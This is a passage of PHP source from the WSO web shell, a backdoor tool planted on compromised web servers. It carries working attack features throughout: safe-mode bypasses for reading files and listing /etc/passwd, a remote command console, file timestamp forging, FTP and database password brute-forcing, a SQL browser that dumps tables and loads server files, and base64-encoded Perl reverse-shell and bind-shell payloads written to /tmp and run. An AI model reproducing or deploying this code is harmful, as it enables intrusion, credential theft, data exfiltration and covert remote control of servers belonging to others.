  1258.             echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1259.             $fp = @fopen($_POST['p1'], 'r');
  1260.             if($fp) {
  1261.                 while( !@feof($fp) )
  1262.                     echo htmlspecialchars(@fread($fp, 1024));
  1263.                 @fclose($fp);
  1264.             }
  1265.             echo '</textarea><input type=submit value=">>"></form>';
  1266.             break;
  1267.         case 'hexdump':
  1268.             $c = @file_get_contents($_POST['p1']);
  1269.             $n = 0;
  1270.             $h = array('00000000<br>','','');
  1271.             $len = strlen($c);
  1272.             for ($i=0; $i<$len; ++$i) {
  1273.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1274.                 switch ( ord($c[$i]) ) {
  1275.                     case 0:  $h[2] .= ' '; break;
  1276.                     case 9:  $h[2] .= ' '; break;
  1277.                     case 10: $h[2] .= ' '; break;
  1278.                     case 13: $h[2] .= ' '; break;
  1279.                     default: $h[2] .= $c[$i]; break;
  1280.                 }
  1281.                 $n++;
  1282.                 if ($n == 32) {
  1283.                     $n = 0;
  1284.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1285.                     $h[1] .= '<br>';
  1286.                     $h[2] .= "\n";
  1287.                 }
  1288.              }
  1289.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1290.             break;
  1291.         case 'rename':
  1292.             if( !empty($_POST['p3']) ) {
  1293.                 if(!@rename($_POST['p1'], $_POST['p3']))
  1294.                     echo 'Can\'t rename!<br>';
  1295.                 else
  1296.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1297.             }
  1298.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1299.             break;
  1300.         case 'touch':
  1301.             if( !empty($_POST['p3']) ) {
  1302.                 $time = strtotime($_POST['p3']);
  1303.                 if($time) {
  1304.                     if(!touch($_POST['p1'],$time,$time))
  1305.                         echo 'Fail!';
  1306.                     else
  1307.                         echo 'Touched!';
  1308.                 } else echo 'Bad time format!';
  1309.             }
  1310.             clearstatcache();
  1311.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1312.             break;
  1313.     }
  1314.     echo '</div>';
  1315.     wsoFooter();
  1316.     exit;
  1317. }
  1318.  
  1319. function actionSafeMode() {
  1320.     $temp='';
  1321.     ob_start();
  1322.     switch($_POST['p1']) {
  1323.         case 1:
  1324.             $temp=@tempnam($test, 'cx');
  1325.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1326.                 echo @file_get_contents($temp);
  1327.                 unlink($temp);
  1328.             } else
  1329.                 echo 'Sorry... Can\'t open file';
  1330.             break;
  1331.         case 2:
  1332.             $files = glob($_POST['p2'].'*');
  1333.             if( is_array($files) )
  1334.                 foreach ($files as $filename)
  1335.                     echo $filename."\n";
  1336.             break;
  1337.         case 3:
  1338.             $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  1339.             curl_exec($ch);
  1340.             break;
  1341.         case 4:
  1342.             ini_restore("safe_mode");
  1343.             ini_restore("open_basedir");
  1344.             include($_POST['p2']);
  1345.             break;
  1346.         case 5:
  1347.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1348.                 $uid = @posix_getpwuid($_POST['p2']);
  1349.                 if ($uid)
  1350.                     echo join(':',$uid)."\n";
  1351.             }
  1352.             break;
  1353.     }
  1354.     $temp = ob_get_clean();
  1355.     wsoHeader();
  1356.     echo '<h1>Safe mode bypass</h1><div class=content>';
  1357.     echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  1358.     if($temp)
  1359.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1360.     echo '</div>';
  1361.     wsoFooter();
  1362. }
  1363.  
  1364. function actionConsole() {
  1365.  
  1366.  
  1367.  if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1368.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1369.         $_POST['p1'] .= ' 2>&1';
  1370.     } elseif(!empty($_POST['p1']))
  1371.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1372.  
  1373.  
  1374.  
  1375.  
  1376.     if(isset($_POST['ajax'])) {
  1377.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1378.         ob_start();
  1379.         echo "document.cf.cmd.value='';\n";
  1380.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1381.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
  1382.             if(@chdir($match[1])) {
  1383.                 $GLOBALS['cwd'] = @getcwd();
  1384.                 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1385.             }
  1386.         }
  1387.         echo "document.cf.output.value+='".$temp."';";
  1388.         echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1389.         $temp = ob_get_clean();
  1390.         echo strlen($temp), "\n", $temp;
  1391.         exit;
  1392.     }
  1393.     wsoHeader();
  1394.     echo "<script>
  1395. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1396. var cmds = new Array('');
  1397. var cur = 0;
  1398. function kp(e) {
  1399.     var n = (window.Event) ? e.which : e.keyCode;
  1400.     if(n == 38) {
  1401.         cur--;
  1402.         if(cur>=0)
  1403.             document.cf.cmd.value = cmds[cur];
  1404.         else
  1405.             cur++;
  1406.     } else if(n == 40) {
  1407.         cur++;
  1408.         if(cur < cmds.length)
  1409.             document.cf.cmd.value = cmds[cur];
  1410.         else
  1411.             cur--;
  1412.     }
  1413. }
  1414. function add(cmd) {
  1415.     cmds.pop();
  1416.     cmds.push(cmd);
  1417.     cmds.push('');
  1418.     cur = cmds.length-1;
  1419. }
  1420. </script>";
  1421.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1422.     foreach($GLOBALS['aliases'] as $n => $v) {
  1423.         if($v == '') {
  1424.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1425.             continue;
  1426.         }
  1427.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1428.     }
  1429.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1430.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1431.     echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1432.     if(!empty($_POST['p1'])) {
  1433.         echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1434.     }
  1435.     echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  1436.     echo '</form></div><script>document.cf.cmd.focus();</script>';
  1437.     wsoFooter();
  1438. }
  1439.  
  1440. function actionLogout() {
  1441.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1442.     die('bye!');
  1443. }
  1444. //Krist_ALL EDITION ICQ 106777
  1445. function actionSelfRemove() {
  1446.  
  1447.     if($_POST['p1'] == 'yes')
  1448.         if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1449.             die('Shell has been removed');
  1450.         else
  1451.             echo 'unlink error!';
  1452.     if($_POST['p1'] != 'yes')
  1453.         wsoHeader();
  1454.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1455.     wsoFooter();
  1456. }
  1457.  
  1458. function actionBruteforce() {
  1459.     wsoHeader();
  1460.     if( isset($_POST['proto']) ) {
  1461.         echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1462.         if( $_POST['proto'] == 'ftp' ) {
  1463.             function bruteForce($ip,$port,$login,$pass) {
  1464.                 $fp = @ftp_connect($ip, $port?$port:21);
  1465.                 if(!$fp) return false;
  1466.                 $res = @ftp_login($fp, $login, $pass);
  1467.                 @ftp_close($fp);
  1468.                 return $res;
  1469.             }
  1470.         } elseif( $_POST['proto'] == 'mysql' ) {
  1471.             function bruteForce($ip,$port,$login,$pass) {
  1472.                 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1473.                 @mysql_close($res);
  1474.                 return $res;
  1475.             }
  1476.         } elseif( $_POST['proto'] == 'pgsql' ) {
  1477.             function bruteForce($ip,$port,$login,$pass) {
  1478.                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1479.                 $res = @pg_connect($str);
  1480.                 @pg_close($res);
  1481.                 return $res;
  1482.             }
  1483.         }
  1484.         $success = 0;
  1485.         $attempts = 0;
  1486.         $server = explode(":", $_POST['server']);
  1487.         if($_POST['type'] == 1) {
  1488.             $temp = @file('/etc/passwd');
  1489.             if( is_array($temp) )
  1490.                 foreach($temp as $line) {
  1491.                     $line = explode(":", $line);
  1492.                     ++$attempts;
  1493.                     if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1494.                         $success++;
  1495.                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1496.                     }
  1497.                     if(@$_POST['reverse']) {
  1498.                         $tmp = "";
  1499.                         for($i=strlen($line[0])-1; $i>=0; --$i)
  1500.                             $tmp .= $line[0][$i];
  1501.                         ++$attempts;
  1502.                         if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1503.                             $success++;
  1504.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1505.                         }
  1506.                     }
  1507.                 }
  1508.         } elseif($_POST['type'] == 2) {
  1509.             $temp = @file($_POST['dict']);
  1510.             if( is_array($temp) )
  1511.                 foreach($temp as $line) {
  1512.                     $line = trim($line);
  1513.                     ++$attempts;
  1514.                     if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1515.                         $success++;
  1516.                         echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1517.                     }
  1518.                 }
  1519.         }
  1520.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1521.     }
  1522.     echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1523.         .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1524.         .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1525.         .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1526.         .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1527.         .'<span>Server:port</span></td>'
  1528.         .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1529.         .'<tr><td><span>Brute type</span></td>'
  1530.         .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1531.         .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1532.         .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1533.         .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1534.         .'<td><input type=text name=login value="root"></td></tr>'
  1535.         .'<tr><td><span>Dictionary</span></td>'
  1536.         .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1537.         .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1538.     echo '</div><br>';
  1539.     wsoFooter();
  1540. }
  1541.  
  1542. function actionSql() {
  1543.     class DbClass {
  1544.         var $type;
  1545.         var $link;
  1546.         var $res;
  1547.         function DbClass($type)    {
  1548.             $this->type = $type;
  1549.         }
  1550.         function connect($host, $user, $pass, $dbname){
  1551.             switch($this->type)    {
  1552.                 case 'mysql':
  1553.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1554.                     break;
  1555.                 case 'pgsql':
  1556.                     $host = explode(':', $host);
  1557.                     if(!$host[1]) $host[1]=5432;
  1558.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1559.                     break;
  1560.             }
  1561.             return false;
  1562.         }
  1563.         function selectdb($db) {
  1564.             switch($this->type)    {
  1565.                 case 'mysql':
  1566.                     if (@mysql_select_db($db))return true;
  1567.                     break;
  1568.             }
  1569.             return false;
  1570.         }
  1571.         function query($str) {
  1572.             switch($this->type) {
  1573.                 case 'mysql':
  1574.                     return $this->res = @mysql_query($str);
  1575.                     break;
  1576.                 case 'pgsql':
  1577.                     return $this->res = @pg_query($this->link,$str);
  1578.                     break;
  1579.             }
  1580.             return false;
  1581.         }
  1582.         function fetch() {
  1583.             $res = func_num_args()?func_get_arg(0):$this->res;
  1584.             switch($this->type)    {
  1585.                 case 'mysql':
  1586.                     return @mysql_fetch_assoc($res);
  1587.                     break;
  1588.                 case 'pgsql':
  1589.                     return @pg_fetch_assoc($res);
  1590.                     break;
  1591.             }
  1592.             return false;
  1593.         }
  1594.         function listDbs() {
  1595.             switch($this->type)    {
  1596.                 case 'mysql':
  1597.                     return $this->res = @mysql_list_dbs($this->link);
  1598.                 break;
  1599.                 case 'pgsql':
  1600.                     return $this->res = $this->query("SELECT datname FROM pg_database");
  1601.                 break;
  1602.             }
  1603.             return false;
  1604.         }
  1605.         function listTables() {
  1606.             switch($this->type)    {
  1607.                 case 'mysql':
  1608.                     return $this->res = $this->query('SHOW TABLES');
  1609.                 break;
  1610.                 case 'pgsql':
  1611.                     return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
  1612.                 break;
  1613.             }
  1614.             return false;
  1615.         }
  1616.         function error() {
  1617.             switch($this->type)    {
  1618.                 case 'mysql':
  1619.                     return @mysql_error($this->link);
  1620.                 break;
  1621.                 case 'pgsql':
  1622.                     return @pg_last_error($this->link);
  1623.                 break;
  1624.             }
  1625.             return false;
  1626.         }
  1627.         function setCharset($str) {
  1628.             switch($this->type)    {
  1629.                 case 'mysql':
  1630.                     if(function_exists('mysql_set_charset'))
  1631.                         return @mysql_set_charset($str, $this->link);
  1632.                     else
  1633.                         $this->query('SET CHARSET '.$str);
  1634.                     break;
  1635.                 case 'pgsql':
  1636.                     return @pg_set_client_encoding($this->link, $str);
  1637.                     break;
  1638.             }
  1639.             return false;
  1640.         }
  1641.         function loadFile($str) {
  1642.             switch($this->type)    {
  1643.                 case 'mysql':
  1644.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1645.                 break;
  1646.                 case 'pgsql':
  1647.                     $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1648.                     $r=array();
  1649.                     while($i=$this->fetch())
  1650.                         $r[] = $i['file'];
  1651.                     $this->query('drop table wso2');
  1652.                     return array('file'=>implode("\n",$r));
  1653.                 break;
  1654.             }
  1655.             return false;
  1656.         }
  1657.         function dump($table) {
  1658.             switch($this->type)    {
  1659.                 case 'mysql':
  1660.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1661.                     $create = mysql_fetch_array($res);
  1662.                     echo $create[1].";\n\n";
  1663.                     $this->query('SELECT * FROM `'.$table.'`');
  1664.                     while($item = $this->fetch()) {
  1665.                         $columns = array();
  1666.                         foreach($item as $k=>$v) {
  1667.                             $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1668.                             $columns[] = "`".$k."`";
  1669.                         }
  1670.                     echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1671.                     }
  1672.                 break;
  1673.                 case 'pgsql':
  1674.                     $this->query('SELECT * FROM '.$table);
  1675.                     $head = true;
  1676.                     while($item = $this->fetch()) {
  1677.                         $columns = array();
  1678.                         foreach($item as $k=>$v) {
  1679.                             $item[$k] = "'".addslashes($v)."'";
  1680.                             $columns[] = $k;
  1681.                         }
  1682.                     echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1683.                     }
  1684.                     if(!$head)
  1685.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1686.                 break;
  1687.             }
  1688.             return false;
  1689.         }
  1690.     };
  1691.     $db = new DbClass($_POST['type']);
  1692.     if(@$_POST['p2']=='download') {
  1693.         ob_start("ob_gzhandler", 4096);
  1694.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1695.         $db->selectdb($_POST['sql_base']);
  1696.         header("Content-Disposition: attachment; filename=dump.sql");
  1697.         header("Content-Type: text/plain");
  1698.         foreach($_POST['tbl'] as $v)
  1699.                 $db->dump($v);
  1700.         exit;
  1701.     }
  1702.     wsoHeader();
  1703.     echo "
  1704. <h1>Sql browser</h1><div class=content>
  1705. <form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
  1706. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1707. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1708. <td><select name='type'><option value='mysql' ";
  1709.     if(@$_POST['type']=='mysql')echo 'selected';
  1710. echo ">MySql</option><option value='pgsql' ";
  1711. if(@$_POST['type']=='pgsql')echo 'selected';
  1712. echo ">PostgreSql</option></select></td>
  1713. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1714. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1715. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1716.     $tmp = "<input type=text name=sql_base value=''>";
  1717.     if(isset($_POST['sql_host'])){
  1718.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1719.             switch($_POST['charset']) {
  1720.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1721.                 case "UTF-8": $db->setCharset('utf8'); break;
  1722.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1723.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1724.                 case "cp866": $db->setCharset('cp866'); break;
  1725.             }
  1726.             $db->listDbs();
  1727.             echo "<select name=sql_base><option value=''></option>";
  1728.             while($item = $db->fetch()) {
  1729.                 list($key, $value) = each($item);
  1730.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1731.             }
  1732.             echo '</select>';
  1733.         }
  1734.         else echo $tmp;
  1735.     }else
  1736.         echo $tmp;
  1737.     echo "</td>
  1738.                 <td><input type=submit value='>>'></td>
  1739.             </tr>
  1740.         </table>
  1741.         <script>
  1742.         
  1743.         s_db='".@addslashes($_POST['sql_base'])."';
  1744.             function fs(f) {
  1745.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1746.                     if(f.p1) f.p1.value='';
  1747.                     if(f.p2) f.p2.value='';
  1748.                     if(f.p3) f.p3.value='';
  1749.                 }
  1750.             }
  1751.         
  1752.             function st(t,l) {
  1753.                 document.sf.p1.value = 'select';
  1754.                 document.sf.p2.value = t;
  1755.                 if(l!=null)document.sf.p3.value = l;
  1756.                 document.sf.submit();
  1757.             }
  1758.             function is() {
  1759.                 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  1760.                     document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  1761.             }
  1762.         </script>";
  1763.     if(isset($db) && $db->link){
  1764.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1765.             if(!empty($_POST['sql_base'])){
  1766.                 $db->selectdb($_POST['sql_base']);
  1767.                 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1768.                 $tbls_res = $db->listTables();
  1769.                 while($item = $db->fetch($tbls_res)) {
  1770.                     list($key, $value) = each($item);
  1771.                     $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1772.                     $value = htmlspecialchars($value);
  1773.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  1774.                 }
  1775.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1776.                 if(@$_POST['p1'] == 'select') {
  1777.                     $_POST['p1'] = 'query';
  1778.                     $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1779.                     $num = $db->fetch();
  1780.                     $num = $num['n'];
  1781.                     echo "<span>".$_POST['p2']."</span> ($num) ";
  1782.                     for($i=0;$i<($num/30);$i++)
  1783.                         if($i != (int)$_POST['p3'])
  1784.                             echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1785.                         else
  1786.                             echo ($i+1)," ";
  1787.                     if($_POST['type']=='pgsql')
  1788.                         $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1789.                     else
  1790.                         $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1791.                     echo "<br><br>";
  1792.                 }
  1793.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1794.                     $db->query(@$_POST['p3']);
  1795.                     if($db->res !== false) {
  1796.                         $title = false;
  1797.                         echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1798.                         $line = 1;
  1799.                         while($item = $db->fetch())    {
  1800.                             if(!$title)    {
  1801.                                 echo '<tr>';
  1802.                                 foreach($item as $key => $value)
  1803.                                     echo '<th>'.$key.'</th>';
  1804.                                 reset($item);
  1805.                                 $title=true;
  1806.                                 echo '</tr><tr>';
  1807.                                 $line = 2;
  1808.                             }
  1809.                             echo '<tr class="l'.$line.'">';
  1810.                             $line = $line==1?2:1;
  1811.                             foreach($item as $key => $value) {
  1812.                                 if($value == null)
  1813.                                     echo '<td><i>null</i></td>';
  1814.                                 else
  1815.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1816.                             }
  1817.                             echo '</tr>';
  1818.                         }
  1819.                         echo '</table>';
  1820.                     } else {
  1821.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1822.                     }
  1823.                 }
  1824.                 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1825.                 echo "</td></tr>";
  1826.             }
  1827.             echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1828.             if(@$_POST['p1'] == 'loadfile') {
  1829.                 $file = $db->loadFile($_POST['p2']);
  1830.                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1831.             }
  1832.     }
  1833.     echo '</div>';
  1834.     wsoFooter();
  1835. }
  1836. function actionNetwork() {
  1837.     wsoHeader();
  1838.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1839.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1840.     echo "<h1>Network tools</h1><div class=content>
  1841.     <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1842.     <span>Bind port to /bin/sh [perl]</span><br/>
  1843.     Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1844.     </form>
  1845.     <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1846.     <span>Back-connect  [perl]</span><br/>
  1847.     Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1848.     </form><br>";
  1849.     if(isset($_POST['p1'])) {
  1850.         function cf($f,$t) {
  1851.             $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1852.             if($w)    {
  1853.                 @fwrite($w,@base64_decode($t));
  1854.                 @fclose($w);
  1855.             }
  1856.         }
  1857.         if($_POST['p1'] == 'bpp') {
  1858.             cf("/tmp/bp.pl",$bind_port_p);
  1859.             $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1860.             echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1861.              unlink("/tmp/bc.pl");
  1862.         }
  1863.         if($_POST['p1'] == 'bcp') {
  1864.             cf("/tmp/bc.pl",$back_connect_p);
  1865.             $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1866.             echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
